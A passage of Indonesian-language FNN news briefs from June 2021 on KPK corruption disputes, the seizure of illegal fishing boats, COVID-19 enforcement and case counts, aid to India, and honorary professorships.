Pekanbaru, FNN - Kementerian Kelautan dan Perikanan (KKP) telah mengamankan tujuh unit kapal penangkap ikan yang beroperasi secara ilegal menggunakan pukat harimau di perairan Kabupaten Rokan Hilir (Rohil), Riau, Selasa (8/6). "Tujuh unit kapal tersebut berasal dari Tanjung Balai Asahan, Sumatera Utara yang sudah diamankan di pelabuhan perikanan di Kota Dumai," kata Kepala Dinas Perikanan dan Kelautan Provinsi Riau Herman Mahmud, di Pekanbaru, Rabu. Dia mengatakan, selain menangkap ikan dengan peralatan yang dilarang, dokumen perizinan untuk menangkap ikan dari tujuh kapal tersebut juga sudah tidak berlaku lagi. Karenanya, ketujuh kapal tersebut ditangkap oleh kapal patroli milik KKP di perairan sekitar Kabupaten Rohil. "Dalam penindakan illegal fishing di perairan Riau, kami juga meminta bantuan KKP dan Bakamla. Karena kapal patroli yang dimiliki Dinas Perikanan dan Kelautan Riau hanya satu dan tidak mampu mengawasi seluruh wilayah perairan Riau," katanya. "Selain keterbatasan unit kapal patroli, Riau juga kekurangan sumber daya pengawas, sehingga butuh bantuan dari KKP," ujarnya pula. Setelah menangkap kapal-kapal tersebut, katanya lagi, KKP juga mengamankan para anak buah kapal dan ikan hasil tangkapan mereka. "Untuk selanjutnya, Dinas Perikanan dan Kelautan Riau akan menindaklanjuti perkara ini bersama kepolisian setempat," katanya lagi. (sws)

Komnas HAM Bisa Simpulkan Masalah TWK Jika Pimpinan KPK Tetap Mangkir

Jakarta, FNN - Komisi Nasional Hak Asasi Manusia (Komnas HAM) RI memastikan lembaga tersebut tetap bisa merumuskan atau menyimpulkan permasalahan tes wawasan kebangsaan (TWK) jika pimpinan KPK tetap memilih mangkir dari panggilan kedua. "Kalau ditanya apakah Komnas HAM bisa merumuskan jika ada pihak yang tidak hadir, jawabannya bisa," kata anggota Komnas HAM Bidang Pemantauan dan Penyelidikan Mohammad Choirul Anam di Jakarta, Rabu. Sebagaimana diketahui Komnas HAM kembali melayangkan surat pemanggilan kedua kepada pimpinan lembaga antirasuah tersebut setelah panggilan pertama tidak dipenuhi. Jika Filri Bahuri tidak memenuhi panggilan tersebut , Komnas HAM akan menggali informasi yang dibutuhkan dari sumber-sumber lain. Sumber penggalian informasi untuk sebuah peristiwa dari berbagai pihak bisa dari saksi. Bahkan, Komnas HAM juga dapat mengonfrontasi antara satu orang dan yang lain. Komnas HAM juga akan menggunakan bukti-bukti penunjang, misalnya dokumen yang telah diserahkan oleh pihak-pihak terkait kepada tim. "Jadi, dari sumber itulah yang nantinya kami gunakan kalau seandainya ada pihak tidak mau hadir," ujar Anam. Namun, dia turut menyayangkan jika panggilan kedua tersebut tidak dimanfaatkan oleh pimpinan KPK. Masalahnya, hal itu sama saja melepaskan hak dan kesempatan untuk mengklarifikasi. Choirul Anam menjelaskan bahwa pemanggilan kedua kepada pimpinan KPK bisa jadi merupakan yang terakhir sebab tim juga ingin segera merumuskan apakah TWK tersebut melanggar HAM atau tidak. "Akan tetapi, yang jauh lebih penting dari rumusan itu ialah bagaimana sebenarnya peristiwa ini terjadi," ujarnya. Apalagi, kebenaran dari peristiwa TWK sebagai syarat alih status pegawai KPK menjadi aparatur sipil negara (ASN) memang dibutuhkan oleh masyarakat. Anam melihat masyarakat cukup dibuat bingung dengan adanya informasi yang bertolak belakang dari sejumlah orang perihal TWK tersebut. "Tugas Komnas HAM ialah berdiri dengan kokoh dan tegas berdasarkan fakta, uji ahli, menilai peristiwa, dan menyampaikan peristiwa itu," katanya menjelaskan. (sws)

Pemerintah Kota Surakarta Tingkatkan Kembali Operasi Yustisi

Solo, FNN - Pemerintah Kota Surakarta meningkatkan kembali operasi yustisi terhadap masyarakat, menyusul peningkatan angka kasus positif COVID-19 di Solo, Jawa Tengah. "Tadi sudah diperintahkan Pak Wali untuk meningkatkan operasi yustisi, termasuk pengetatan di pintu masuk Solo," kata Kepala Satpol PP Kota Surakarta Arif Darmawan di Solo, Rabu. Lokasi itu, kata dia, tepatnya ada tiga pintu masuk yang lebih diketatkan pengawasannya, yaitu di Jurug yang menjadi perbatasan Karanganyar dan Sragen dengan Solo, Gading yang menjadi pintu masuk dari Sukoharjo, dan Tugu Makuta yang menjadi pintu masuk dari Boyolali dan Karanganyar. Di tiga pintu masuk tersebut, pihaknya juga akan melakukan operasi masker. Sesuai dengan perintah, kata Arif Darmawan, tes usap akan dilakukan bagi pelanggar protokol kesehatan dan masyarakat umum yang dipilih secara acak. "Selain itu, swab (tes usap) juga dilakukan di tempat-tempat kerumunan, termasuk pasar tumpah yang selama ini juga digunakan berjualan pedagang dari luar kota," katanya. Ia menyebutkan beberapa pasar di Kota Solo yang banyak didatangi pedagang dari luar kota, di antaranya Tambak Segaran, pasar buah, dan Pasar Ikan Depok. Selain itu, untuk lokasi kerumunan, salah satunya di kawasan Alun-Alun Kidul Keraton Solo. Operasi masker dan tes usap secara acak, kata dia, sebelumnya hanya satu kali dalam sehari menjadi tiga kali. "Itu bisa pagi, siang, dan malam," katanya. Sementara itu, pihaknya juga akan meningkatkan peran jogo tonggo untuk ikut mengawasi warga sekitar masing-masing. "Jangan sampai terjadi kasus seperti daerah lain, kasus di Kudus menyebar ke daerah lain di Demak. Apalagi, di Soloraya sudah ada dua yang berstatus zona merah, yaitu Sragen dan Klaten," katanya. Pada saat ini, kata dia, tingkat pelanggaran pada acara hajatan mengalami penaikan, baik di hotel maupun di rumah. Ia menyebutkan salah satu pelanggaran adalah tamu makan di lokasi kegiatan. "Terkait dengan hal ini nanti kami minta izin kepada Pak Wali untuk juga melakukan swab di acara-acara tersebut," kata Kasatpol PP Kota Surakarta Arif Darmawan. (sws)

Novel Baswedan Laporkan Komisioner KPK Lili Pintauli Siregar ke Dewas

Jakarta, FNN - Dua orang penyidik KPK Novel Baswedan dan Rizka Anungnata serta mantan Direktur Pembinaan Jaringan Kerja Antar Komisi dan Instansi (PJKAKI) Sujanarko melaporkan Wakil Ketua KPK Lili Pintauli Siregar kepada Dewan Pengawas KPK atas dugaan pelanggaran etik. "Laporan ini disampaikan pada Senin, 8 Juni 2021 terkait dua dugaan pelanggaran etik yang dilaporkan oleh tiga pelapor," kata Sujanarko melalui keterangan tertulis yang diterima di Jakarta, Rabu. Pertama, dugaan Lili Pintauli Siregar menghubungi dan menginformasikan perkembangan penanganan kasus Wali Kota Tanjungbalai, Syahrial. Atas dugaan perbuatan tersebut, Lili diduga melanggar prinsip Integritas yaitu pada Pasal 4 ayat (2) huruf a, Peraturan Dewan Pengawas KPK RI Nomor 2 Tahun 2020 Tentang Penegakan Kode Etik dan Pedoman Perilaku KPK. Aturan tersebut berbunyi "Insan KPK dilarang mengadakan hubungan langsung atau tidak langsung dengan tersangka, terdakwa, terpidana, atau pihak lain yang ada hubungan dengan perkara tindak pidana korupsi yang diketahui perkaranya sedang ditangani oleh Komisi kecuali dalam rangka pelaksanaan tugas dan sepengetahuan Pimpinan atau atasan langsung". Kedua, dugaan Lili menggunakan posisinya sebagai Pimpinan KPK, untuk menekan Wali Kota Tanjungbalai Syahrial untuk urusan penyelesaian kepegawaian adik iparnya Ruri Prihatini Lubis di Perusahaan Daerah Air Minum Tirta Kualo Tanjungbalai. Atas dugaan perbuatan tersebut, LPS diduga melanggar prinsip Integritas yaitu pada Pasal 4 ayat (2) huruf b, Peraturan Dewan Pengawas KPK RI Nomor 2 Tahun 2020 Tentang Penegakan Kode Etik dan Pedoman Perilaku KPK. Beleid itu mengatur "Insan KPK dilarang menyalahgunakan jabatan dan/atau kewenangan yang dimiliki termasuk menyalahgunakan pengaruh sebagai Insan Komisi baik dalam pelaksanaan tugas, maupun kepentingan pribadi" "Kejadian seperti ini membuat KPK sangat terpuruk dan sangat tidak lagi dipercayai publik," ujar Sujanarko. Atas dua dugaan tersebut, penyidik Rizka Anungnata menyatakan kesediaannya sebagai saksi karena memiliki banyak informasi terkait dengan dugaan pelanggaran tersebut. "Berdasarkan hal tersebut sudah sepantasnya kami menduga atau setidaknya patut menduga telah terjadi pelanggaran etik yang dilakukan oleh LPS," kata Rizka. Jika memang tidak terbukti, Novel Baswedan meminta Dewan Pengawas untuk berani mengumumkan kepada publik, sehingga KPK akan bebas dari stigma adanya kebiasaan yang tidak benar dalam penanganan perkara. "Ini penting dan berdampak besar bagi keberlangsungan KPK dan merupakan isu yang menyangkut roh dan jiwa, harkat dan martabat KPK sebagai lembaga penindakan tindak pidana korupsi," tutur Novel. (sws)

Azis Syamsuddin Bungkam Usai Diperiksa KPK

Jakarta, FNN - Wakil Ketua DPR RI dari fraksi Partai Golkar Azis Syamsuddin enggan menyampaikan keterangan kepada wartawan usai diperiksa sebagai saksi dalam kasus dugaan suap yang menjerat mantan Penyidik KPK Stepanus Robin Pattuju. Azis diperiksa sekitar 9 jam oleh penyidik KPK pada Rabu (9/6) untuk mengonfirmasi sejumlah pengetahuannya terkait dengan rangkaian penerimaan suap yang diduga diterima oleh penyidik KPK Stepanus Robin Pattuju. Namun setelah diperiksa di gedung Merah Putih, Azis memilih untuk langsung masuk ke mobil dan tidak menyampaikan apapun kepada wartawan yang telah menunggunya. Dalam perkara ini KPK telah menetapkan Stepanus bersama Wali Kota Tanjungbalai M Syahrial dan Maskur Husain selaku pengacara sebagai tersangka pemberi suap kepada Stepanus Robin terkait penyidikan penanganan perkara Wali Kota Tanjungbalai Tahun 2020-2021. Dalam konstruksi perkara disebutkan pada Oktober 2020, Syahrial menemui Azis di rumah dinas Azis di Jakarta Selatan dan menyampaikan permasalahan adanya penyelidikan yang sedang dilakukan oleh KPK di Pemkot Tanjungbalai, Sumatera Utara. Azis langsung memperkenalkan Syahrial dengan Stepanus. Dalam pertemuan tersebut, Syahrial menyampaikan permasalahan terkait penyelidikan dugaan korupsi di Pemkot Tanjungbalai yang sedang dilakukan KPK agar tidak naik ke tahap penyidikan dan meminta agar Stepanus dapat membantu agar permasalahan penyelidikan tersebut tidak ditindaklanjuti oleh KPK. Stepanus bersama Maskur sepakat membuat komitmen dengan Syahrial terkait penyelidikan dugaan korupsi di Pemkot Tanjungbalai untuk tidak ditindaklanjuti oleh KPK dengan menyiapkan uang Rp1,5 miliar. Syahrial menyetujui permintaan Stepanus dan Maskur tersebut dengan mentransfer uang secara bertahap sebanyak 59 kali melalui rekening bank milik Riefka Amalia, teman Stepanus. Syahrial juga memberikan uang secara tunai kepada Stepanus hingga total uang yang telah diterima Stepanus Rp1,3 miliar. Dari uang yang telah diterima oleh Stepanus dari Syahrial kemudian diberikan kepada Maskur sebesar Rp325 juta dan Rp200 juta. Sedangkan dalam pertimbangan majelis etik Dewan Pengawas KPK terhadap pelanggaran etik Stepanus pada Senin (31/5) disebutgkan bahwa Azis memberikan uang Rp3,15 miliar kepada Stepanus Robin terkait penanganan perkara di Lampung Tengah terkait dengan kader Partai Golkar Aliza Gunado. Dari jumlah tersebut sebagian diserahkan kepada Maskur Husain kurang lebih sejumlah Rp2,55 miliar dan Stepanus Robin mendapat uang lebih sejumlah Rp600 juta. Majelis etik Dewas KPK juga memutuskan Stepanus Robin melakukan pelanggaran etik berat sehingga mendapat sanksi diberhentikan tidak dengan hormat. (sws)

Satpol PP Minta Aplikasi BTS Meal di Surabaya Dihentikan

Surabaya, FNN - Satuan Polisi Pamong Praja (Satpol PP) meminta aplikasi BTS Meal atau menu promosi baru yang dikeluarkan McDonald's di Kota Surabaya, Jatim, Rabu, dihentikan karena menyebabkan kerumunan warga. "Yang bikin kerumunan itu adalah aplikasi BTS-nya. Itu yang kami minta dihentikan. Penjualan lainnya tetap boleh dilaksanakan," kata Kepala Satpol PP Surabaya Eddy Eddy Christijanto di Surabaya, Rabu. Selain itu, lanjut dia, pihaknya memperingatkan Satgas COVID-19 Mandiri McDonalsd's harus aktif untuk mengurai dan mencegah agar tidak terjadi kerumunan. Menurut dia, ada tiga gerai McDonald's di Kota Surabaya yang sempat diperingati pihak Satpol PP dan kepolisian setempat, yakni di Jalan Basuki Rachmat, Plaza Marina dan Jalan Yonosuwoyo. "Jadi tidak ada yang disegel. Cuma yang di Plaza Marina diberikan denda administrasi karena kerumunannya padat dan satgas COVID-19 mandirinya tidak jalan. Sedangkan yang di Jalan Basuki Rachmat dilakukan penghentian penjualan BTS oleh Polsek Genteng," ujarnya. Kapolsek Genteng Kompol Hendry F Kennedy menambahkan, pihaknya meminta manajemen McDonald's di Jalan Basuki Rachmat untuk menutup operasionalnya sementara. "Kami minta tutup dulu pukul 13.30 WIB. Karena makin ramai, potensi kerumunannya besar. Orang ramai, dari ojol juga ada promo BTS-BTS itu," kata Kennedy. Selain itu, Kennedy juga mengimbau kepada pengelola McDonald's setempat agar melakukan komunikasi dengan manajemen pusat tentang rekayasa dan teknis evaluasi penjualan sesuai protokol kesehatan. Diketahui, McDonald's merilis produk makanan yakni BTS Meals buah dari kerja sama restoran itu dengan grup penyanyi asal Korea Selatan yakni BTS. Adapun BTS Meals yang berlaku mulai Rabu ini hanya bisa dipesan secara lantatur (drive thru) dan juga bisa melalui aplikasi jasa pengantaran daring dengan ojek daring. (sws)

Pasien COVID-19 di Gunung Kidul Bertambah 42 Menjadi 3.343 kasus

Gunung Kidul, FNN - Dinas Kesehatan Kabupaten Gunung Kidul, Daerah Istimewa Yogyakarta (DIY) menyatakan pasien terkonfirmasi positif COVID-19 di daerah itu bertambah 42 kasus baru sehingga jumlah totalnya naik menjadi 3.343 kasus sepanjang pandemi COVID-19. "Pada 9 Juni 2021 ada tambahan sebanyak 42 tambahan kasus positif COVID-19 baru di Kabupaten Gunung Kidul," kata Kepala Dinas Kesehatan Gunung Kidul, dr Dewi Irawaty di Gunung Kidul, Rabu. Berdasarkan data Dinas Kesehatan Gunung Kidul, total terkonfirmasi COVID-19 sebanyak 3.343 kasus dengan rincian 2.864 sembuh, 320 dalam perawatan, dan 159 meninggal dunia. Ia mengakui selain muncul klaster Pabrik Tas Nogosari, Desa Bandung, Kecamatan Playen, muncul juga klaster Dengok II di kecamatan yang sama dengan jumlah 30 warga terkonfirmasi COVID-19. "Saat ini, Klaster Dengok II sudah ditangani secara prosedural. Kalau masih terjadi, memang sulit dibendung. Kami mohon semua pihak terliibat dalam pecegahan penyebaran COVID-19 dengan mematuhi protokol kesehatan, yakni memakai masker, menjaga jarak, dan mencuci tangan," kata Dewi Irawaty. Sementara itu, Kepala Desa Dengok, Kecamatan Playen, Suyanto mengatakan beberapa pekan terakhir, di wilayahnya terdapat 30 orang terkonfirmasi COVID-19. Mereka tersebar di Dusun Dengok II, dua RT diantaranya masuk zona merah. "Untuk mencegah terjadinya penyebaran, kami melakukan penutupan aktivitas masyarakat atau lockdown. Penutupan ini dilakukan selama 14 hari ke depan, tetapi menyesuaikan situasi, dan menunggu petunjuk dari gugus tugas kecamatan, serta Dinas Kesehatan," katanya. Ia mengatakan kasus ini berawal salah seorang warga meninggal setelah dirawat karena terkonfirmasi COVID-19. Setelah dirawat, warga tersebut meninggal, dan langsung dimakamkan pada tengah malam dengan protokol kesehatan. Selanjutnya, keluarga dilakukan penelusuruan menggunakan tes antigen saat itu negatif. Namun, pada sore harinya salah seorang keluarga mengalami sesak nafas, dan dibawa ke rumah sakit. Ternyata terkonfirmasi positif setelah menjalani tes swab PCR. "Berdasarkan hasil swab PCR Puskesmas Playen II, sebanyak 27 warga Dengok II terkonfirmasi COVID-19, dan tiga lainnya dari Dengok I dan Dengok III," demikian Suyanto. (sws)

Indonesia Berikan Hibah 1.400 Tabung Oksigen kepada India

Jakarta, FNN - Pemerintah Indonesia memberikan bantuan kemanusiaan sebanyak 1.400 tabung oksigen kepada Pemerintah India sebagai bentuk solidaritas dan dukungan terhadap India dalam penanganan lonjakan kasus COVID-19. Bantuan berupa tabung oksigen itu diserahkan melalui Indian Red Cross Society pada Selasa (8/6) di pelabuhan Nhava Sheva, menurut keterangan tertulis KJRI Mumbai yang diterima di Jakarta, Rabu. Kedatangan lima kontainer berisi tabung oksigen tersebut melengkapi penyerahan bantuan 200 unit konsentrator oksigen dari Indonesia kepada Pemerintah India pada 12 Mei lalu. Selanjutnya, Indonesia juga akan kembali mengirimkan sebanyak 2.000 tabung oksigen yang diharapkan akan tiba di pelabuhan Nhava Sheva sekitar akhir Juni 2021. Konsul Jenderal (Konjen) RI di Mumbai, Agus P. Saptono, menyambut ketibaan bantuan tabung oksigen tersebut dan selanjutnya menyerahkan kepada pejabat India Red Cross Society (IRCS) untuk pengaturan pendistribusian selanjutnya. Bantuan Indonesia itu merupakan wujud semangat kebersamaan kedua negara dalam menghadapi pandemi dan dimaksudkan untuk membantu India dalam menghadapi masa-masa sulit akibat lonjakan kasus COVID-19. Konjen RI menyampaikan bahwa pandemi COVID-19 adalah masalah umum yang saat ini dihadapi oleh semua negara sehingga perlu diantisipasi, antara lain melalui kolaborasi yang kuat antarnegara. Dalam kesempatan tersebut, Regional Passport Officer IRCS Maharashtra selaku wakil dari Kementerian Luar Negeri India menyampaikan apresiasi dan berterima kasih atas bantuan dari Indonesia yang sangat berguna untuk membantu penanganan pandemi COVID-19 di India. Indonesia dan India memiliki kerja sama yang baik dan saling mendukung satu sama lain. Hubungan baik kedua negara telah terjalin sejak lebih 70 tahun lalu, dan India adalah salah satu mitra strategis bagi Indonesia. "Dengan penyerahan bantuan dari Indonesia ini, kita berharap kerjasama kedua negara akan semakin kuat di masa mendatang, terutama dalam menghadapi situasi pandemi COVID-19," ujar Agus. (sws)

99,13 Persen dari Total Warga Kota Magelang Jadi Peserta JKN-KIS

Magelang, FNN - Sebanyak 126.281 jiwa dari total warga Kota Magelang, Jawa Tengah yang mencapai 127.394 jiwa atau 99,13 persen telah menjadi peserta Jaminan Kesehatan Nasional-Kartu Indonesia Sehat (JKN-KIS). Atas capaian kepesertaan JKN-KIS tersebut, Pemerintah Kota Magelang, Rabu, menerima sertifikat kepesertaan Universal Health Coverage (UHC) dari BPJS Kesehatan Wilayah Jawa Tengah dan Daerah Istimewa Yogyakarta karena sudah mencapai 99,13 persen per 4 Juni 2021. Sertifikat diserahkan oleh Deputi Direksi BPJS Kesehatan Wilayah Jawa Tengah dan DIY Dwi Martiningsih kepada Wali Kota Magelang Muchamad Nur Aziz di halaman kantor Dinas Kesehatan (Dinkes) Kota Magelang. Dwi Martiningsing mengapresiasi Pemkot Magelang karena capaian itu menandakan adanya dukungan dan komitmen yang sungguh-sungguh dalam pelaksanaan program JKN-KIS, khususnya di Jawa Tengah. "Ini menunjukkan bahwa Kota Magelang memiliki komitmen yang tinggi dan memiliki niat yang tulus untuk menyejahterakan warganya," katanya dalam keterangan tertulis Bagian Protokol dan Komunikasi Pimpinan Pemkot Magelang. Ia menyebutkan dari angka tersebut maka warga Kota Magelang yang belum menjadi peserta JKN-KIS mencapai 1.113 jiwa atau 0,89 persen. Menurut dia, pemerintah tidak menginginkan warganya tidak memiliki jaminan kesehatan saat sakit. Oleh karena itu, capaian UHC merupakan persoalan yang serius. Program ini sebagai baik dan perlu dukungan pemerintah daerah serta memiliki manfaat yang tinggi. Ia menyampaikan sesuai dengan Peraturan Presiden Nomor 18 Tahun 2020 tentang RPJM 2020-2024, pemerintah menetapkan UHC minimal 98 persen penduduk terdaftar dalam Program JKN pada Tahun 2024. Selain Kota Magelang, daerah di Jawa Tengah dengan UHC tertinggi kedua adalah Kota Semarang yakni 95,45 persen. "Maka Kota Magelang lebih cepat tiga tahun dalam merealisasikannya dan ini daerah yang pertama di Provinsi Jawa Tengah yang mendeklarasikan UHC di atas 98 persen," katanya. Wali Kota Magelang Muchamad Nur Aziz mengatakan capaian ini hasil kekompakan seluruh komponen dari organisasi perangkat daerah, lembaga legislatif, forkopimda, termasuk masyarakat dan BPJS Kesehatan. "Beberapa komponen kami sangat luar biasa, bukan karena wali kotanya. Kekompakan itu penting karena berkah dari langit itu akan datang. UHC mencapai 99,13 persen bukan dari saya tapi bapak ibu semua, tanpa dukungan tidak mungkin tercapai," katanya. (sws)

Kemristekdikti Luruskan Pengertian Profesor

Jakarta, FNN - Kementerian Riset, Teknologi dan Pendidikan Tinggi (Kemristekdikti) menegaskan bahwa profesor bukan gelar akademik melainkan jabatan tertinggi yang diraih oleh dosen. "Profesor bukan gelar akademik melainkan jabatan tertinggi yang diraih oleh dosen. Jadi jika ada orang yang mendapatkan gelar profesor, maka itu tidak benar," ujar Direktur Jenderal Sumber Daya Iptek Dikti Kementerian Riset, Teknologi dan Pendidikan Tinggi (Kemristekdikti), Ali Ghufron Mukti, dikutip Antara di Jakarta, Kamis. Untuk bisa mendapatkan jabatan profesor, lanjut dia, seorang dosen harus mengajar selama 10 tahun atau meraih nilai kredit mencapai 1.000. Sayangnya, masih banyak masyarakat yang salah kaprah mengenai profesor tersebut. Sehingga tak jarang, yang rela merogoh kocek dalam-dalam hanya untuk mendapatkan profesor di depan namanya. "Oleh karena itu, kami mengadakan seminar yang membahas mengenai makna dan filosofi profesor. Tujuannya, agar masyarakat tak salah kaprah lagi menilai profesor," kata dia. Guru Besar Kebijakan Publik Universitas Gadjah Mada, Prof Dr Sofian Effendi, menegaskan bahwa pemberian gelar profesor kehormatan semestinya tidak ada. "Semestinya tidak ada. Kalau doktor honoris causa ada, namun profesor tidak ada. Seandainya ada dari luar negeri, pastinya bukan berasal dari perguruan tinggi ternama," kata Sofian. Saat ini, lanjut Sofian, terdapat kurang lebih 5.300 profesor di Tanah Air. Jumlah tersebut dinilai masih sangat kurang jika dibandingkan jumlah program studi yang mencapai 22.000. Hal itu menyebabkan banyak program studi yang tidak dikepalai oleh profesor. "Itu menjadi sebab mengapa pada perankingan internasional kita selalu peringkat bawah," tukas Sofian. (sws)

Kapitra Minta Pimpinan KPK Abaikan Panggilan Komnas HAM Soal TWK ASN

Jakarta, FNN - Politisi PDI Perjuangan Kapitra Ampera meminta Ketua Komisi Pemberantasan Korupsi (KPK), Firli Bahuri dan pimpinan lainnya untuk mengabaikan pemanggilan Komnas HAM soal laporan 51 pegawai KPK yang tidak lolos tes wawasan kebangsaan (TWK) alih status menjadi ASN. Kapitra, dalam rilisnya diterima di Jakarta Rabu, mengatakan permintaannya itu karena melihat langkah pemanggilan pimpinan KPK dalam polemik tersebut bukan kewenangan dari Komnas HAM. “Terlalu jauh, Komnas HAM tidak punya hak untuk memanggil Ketua KPK. KPK harus abaikan panggilan karena bukan yurisdiksinya," kata dia. Kapitra menyebutkan, berdasarkan UU Nomor 26 tahun 2000 tentang Pengadilan Hak Asasi Manusia, Komnas HAM adalah lembaga yang berwenang menyelidiki pelanggaran hak asasi manusia yang berat. Oleh karena itu, menurut Kapitra terasa aneh kalau Komnas HAM ikut campur dalam urusan TWK KPK. “Kewenangan Komnas HAM menurut UU nomor 26/2000 hanya terbatas kepada pelanggaran HAM berat yang berupa crime against humanity (kejahatan kemanusiaan) dan genocide (pembantaian besar-besaran),” ucap Kapitra. Sebelumnya, Komnas HAM melayangkan surat pemanggilan kepada pimpinan KPK terkait laporan pegawai KPK yang tak lolos tes wawasan kebangsaan (TWK) sebagai syarat menjadi aparatur sipil negara (ASN) pada Selasa 8 Juni 2021. Pelaksana Tugas Juru Bicara KPK Ali Fikri menyebutkan pimpinan dan sekjen KPK telah menerima surat dari Komnas HAM terkait aduan tes wawasan kebangsaan pegawai KPK. Ali menjelaskan, pihaknya hendak meminta penjelasan kepada Komnas HAM tentang pelanggaran apa yang dilakukan pimpinan KPK. "Tindak lanjut surat dimaksud, Senin, 7 Juni 2021 Pimpinan KPK telah berkirim surat kepada Komnas HAM untuk meminta penjelasan lebih dahulu mengenai hak asasi apa yang dilanggar pada pelaksanaan alih status pegawai KPK," kata Ali. (sws)

KPU Banjarmasin: Pemilih Antusias Ikuti PSU Pilkada Kalsel 2020

Banjarmasin, FNN - Komisi Pemilihan Umum (KPU) Kota Banjarmasin menyebutkan pemilih antusias mengikuti Pemungutan Suara Ulang (PSU) Pemilihan Kepala Daerah (Pilkada) Kalimantan Selatan 2020 pasca putusan Mahkamah Konsitusi (MK) yang digelar Rabu ini. "Pantauan kami, ke TPS-TPS cukup antusias pemilih datang untuk mencoblos," ujar anggota KPU Kota Banjarmasin Syafruddin Akbar di Banjarmasin, Rabu. Dia menyatakan memantau di wilayah Kelurahan Mantuil, Banjarmasin Selatan, di mana jumlah tempat pemungutan suara (TPS) sebanyak 29 TPS. "Rata-rata yang kami dapat laporan sejak pagi tadi antusias pemilih datang ke TPS cukup tinggi, moga berlanjut demikian hingga siang," ujarnya. Sebagaimana dinyatakan Ketua KPU Kota Banjarmasin Rahmiyati Wahdah sebelumnya, target pemilihan PSU Pilgub Kalsel di Kecamatan Banjarmasin Selatan sebesar 79 persen. Jumlah TPS yang gelar PSU Pilgub Kalsel di Kota Banjarmasin, yakni di Banjarmasin Selatan sebanyak 301 TPS yang tersebar di 12 kelurahan. Adapun jumlah pemilih sebanyak 107.782 jiwa sesuai daftar pemilih tetap (DPT). Dari pantauan Antara di TPS 16 Kelurahan Kelayan Selatan, Banjarmasin Selatan dinyatakan hingga pukul 09.30 WITA sudah mencapai sekitar 200 pemilih datang menggunakan hak suaranya dari DPT di TPS itu sebanyak 495 jiwa. Sebagaimana diketahui, Pilkada Kalsel tahun 2020 sesuai putusan Mahkamah Konsitusi (MK) harus digelar PSU di tujuh kecamatan, yakni, lima kecamatan di Kabupaten, Astambul, Matraman, Martapura, Aluh-Aluh dan Sambungan Makmur. Kemudian, pada 24 TPS di Kecamatan Binuang, Kabupaten Tapin, dan seluruh TPS di Banjarmasin Selatan, Kota Banjarmasin. Di mana total TPS yang akan digelar pada 827 titik, dengan jumlah pemilih sesuai daftar pemilih tetap (DPT) sebanyak 266.736 jiwa. Pasangan calon gubernur dan wakil gubernur di Pilkada Kalsel 2020 adalah, Paslon nomor urut 1, H Sahbirin Noor dan H Muhidin, Paslon nomor urut 2, Prof H Denny Indrayana dan H Difriadi Derajat. (sws)

Guru Besar UNP: Megawati Pantas Dapatkan Gelar Profesor Kehormatan

Jakarta, FNN - Guru Besar Universitas Negeri Padang (UNP), Sumatera Barat, Prof Ganefri menyatakan gelar profesor Guru Besar Tidak Tetap pantas diberikan kepada Presiden Kelima RI Megawati Soekarnoputri oleh Universitas Pertahanan (Unhan). "Gelar profesor kehormatan (Guru Besar Tidak Tetap) dari Unhan pantas diberikan kepada Megawati," kata Ganefri dalam keterangan tertulisnya di Jakarta, Rabu. Sebagai Rektor di Lembaga Pendidikan Tenaga Kependidikan atau LPTK, dan kapasitas serta kiprahnya lebih banyak bergerak dalam dunia pendidikan tinggi, Ganefri mengaku dirinya lebih banyak melihat kiprah Megawati dalam ranah pendidikan. Ketua Forum Rektor LPTK itu menyatakan, secara akademis, Universitas Negeri Padang telah memberikan gelar doktor honoris causa kepada Megawati dalam bidang Politik Pendidikan meliputi formulasi dan implementasi kebijakan pendidikan. "Penganugerahan gelar ini telah melalui studi akademis yang akurat oleh tim promotor," kata Ganefri. Sebelumnya, Megawati juga pernah menerima gelar Doktor Honoris Causa dalam bidang yang berbeda-beda dari Universitas Waseda Jepang, Moscow State Institute, Korea Maritime and Ocean University, serta Universitas Padjadjaran Bandung. Secara historis, kepemimpinan Megawati selaku presiden, telah berhasil memberi dasar hukum bagi lahirnya UU No. 20 Tahun 2003 tentang Sistem Pendidikan Nasional (Sisdiknas). "Sebagaimana diamanatkan konstitusi secara keseluruhan, baik isi, jiwa, dan semangat UU tersebut, merupakan pengejawantahan tuntutan jaman Reformasi 1998, terutama reformasi pendidikan yang bersifat sentralistis dan demokratis," jelas Ganefri. Secara institusional, UU Sisdiknas memberi dasar lebih kuat bagi profesionalisme tenaga pendidik dan kependidikan dengan standar-standar kompetensi yang diperlukan, termasuk standar penggajian. Dalam hal ini, UU Sisdiknas 2003 memiliki legitimasi kuat dalam mengimplementasikan amanat konstitusi tentang alokasi 20 persen dana APBN untuk pendidikan. "UNP sebagai salah satu LPTK tertua di Indonesia merasa paling bahagia menyambut kehadiran UU Sisdiknas 2003 tersebut," imbuhnya. Berangkat dari UU Sisdiknas No. 20 Tahun 2003 di era pemerintahan Megawati, melahirkan pula UU No. 14 Tahun 2005 tentang Guru dan Dosen. Selanjutnya, PP No. 19 Tahun 2005 tentang Standar Nasional Pendidikan. "Ini telah menghadirkan demokrasi dalam sistem pendidikan kita, di mana tidak ada lagi dikotomi perguruan tinggi negeri dan swasta," katanya. Kepemimpinan Megawati menghasilkan sistem akreditasi dilaksanakan oleh BAN PT. Demikian juga sekolah/madrasah diakreditasi oleh BAN SM, dan BAN PNF (Pendidikan Non-Formal) melahirkan Paket A, untuk SD. B, untuk SMP, dan C untuk SMA. "Dengan demikian, penjaminan mutu pendidikan lebih dapat dipertanggungjawabkan," kata Ganefri. Menurut dia, UU Sisdiknas tersebut mempertegas dan mengimplementasikan Pasal 31 Ayat 4 UU Dasar 1945 yang mewajibkan anggaran pendidikan minimal 20 persen dari APBN dan APBD. "Jika kita cermati lebih dalam tentang substansi yang terkandung dalam UU tersebut dan peraturan lain yang menyertai, maka kita akan melihat bahwa Dr. (HC) Megawati baik sebagai negarawan atau tokoh, sudah sangat layak diberikan Guru Besar Tidak Tetap," tegas Ganefri. Dia pun percaya Megawati memiliki potensi luar biasa untuk mengembangkan kepakaran di bidang keilmuan tersebut di Unhan RI dan dapat memberikan kontribusi yang signifikan bagi Unhan RI untuk menjadi "World Class Defense University". Sementara itu, Guru Besar Tetap di bidang Hubungan Internasional Universitas Lembaga Ilmu Pengetahuan Sosial Tiongkok (University of Chinese Academy of Social Sciences/CASS), Xu Liping, juga menyatakan dukungan sepenuhnya terhadap usulan Guru Besar Tidak Tetap di Unhan RI kepada Megawati. Peneliti Senior Institut Nasional Strategik Internasional (NIIS) itu mengaku telah mengenal dan mempelajari peranan yang bersejarah dari Megawati. Pada masa pemerintahan Megawati, Indonesia sedang mengalami masa transisi dimana banyak 